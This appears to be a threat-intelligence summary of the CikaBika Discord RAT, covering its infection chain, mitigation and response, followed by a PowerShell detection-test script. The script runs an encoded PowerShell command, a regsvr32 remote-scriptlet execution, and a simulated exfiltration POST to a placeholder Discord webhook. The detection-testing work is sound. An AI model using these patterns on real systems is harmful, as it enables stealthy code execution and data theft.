CikaBika Bot Analysis: How the Discord RAT Operates

Summary

CikaBika Bot is a Rust-based remote access trojan distributed through phishing lures such as malicious LNK files and PDF documents. The malware uses a Nim-based loader to trigger a PowerShell UAC bypass and perform DLL search-order hijacking against Microsoft Edge. It relies on Discord as a command-and-control platform to manage infected systems and execute a range of malicious commands.

Investigation

Darktrace researchers analyzed the infection chain beginning with a disk image containing a malicious shortcut and a decoy PDF. The investigation traced the payload from a temporary text file to a hijacked DLL placed in the Microsoft Edge application directory. Researchers also observed the RAT using Discord for reconnaissance and leveraging ngrok for data exfiltration.

Mitigation

Organizations should enforce strict controls over the execution of LNK files and disk images obtained from untrusted sources. Strengthening User Account Control (UAC) settings and monitoring for unauthorized registry changes involving HKLM/HKCU shell commands can help prevent bypass attempts. Security teams should also watch for unusual Microsoft Edge child processes and unauthorized use of Discord or ngrok.

Response

When CikaBika Bot activity is detected, isolate affected endpoints from the network to disrupt the Discord C2 channel. Perform forensic analysis of the %TEMP% directory and Microsoft Edge installation paths to identify the malicious dbghelp.dll. Review network telemetry for suspicious connections involving ipify.com or ngrok to assess the potential scope of data exfiltration.

Simulation Execution

• Attack Narrative & Commands: The adversary has gained initial access. To avoid detection, they attempt to run a payload via an encoded PowerShell command. The command string includes a dummy “PowerShell UAC bypass” comment to trigger the specific rule logic. Following this, the adversary attempts to use regsvr32.exe to execute a remote scriptlet (simulated via a local file to avoid network noise during testing). Finally, the adversary simulates data exfiltration by sending a dummy POST request to a Discord webhook URL via PowerShell.

• Regression Test Script:

  # Simulation Script: Mimicking Cikabika-style Discord Exfiltration
  
  Write-Host "[+] Starting Simulation..."
  
  # 1. Simulate the 'selection_uac_bypass' and 'selection_powershell_encoded' condition
  # The command includes the literal string 'PowerShell UAC bypass' and uses '-enc'
  $command = "Write-Output 'Malicious Payload'; # PowerShell UAC bypass"
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
  $encodedCommand = [Convert]::ToBase64String($bytes)
  
  Write-Host "[+] Executing Encoded PowerShell with Bypass String..."
  powershell.exe -enc $encodedCommand
  
  # 2. Simulate 'selection_regsvr32'
  # This triggers the second half of the 'AND' condition in the rule
  Write-Host "[+] Executing Regsvr32..."
  regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll
  
  # 3. Simulate 'selection_discord_exfil'
  # This provides an alternative path for the second half of the 'AND' condition
  Write-Host "[+] Simulating Discord Exfiltration..."
  $discordWebhook = "https://discord.com/api/webhooks/test/12345"
  powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'"
  
  Write-Host "[+] Simulation Complete."

• Cleanup Commands:

  # Cleanup: Remove any temporary files created during simulation (if any).
  # In this specific simulation, no files were written to disk, 
  # but we ensure the process tree is clean.
  Stop-Process -Name "powershell" -ErrorAction SilentlyContinue
  Write-Host "[+] Cleanup Complete."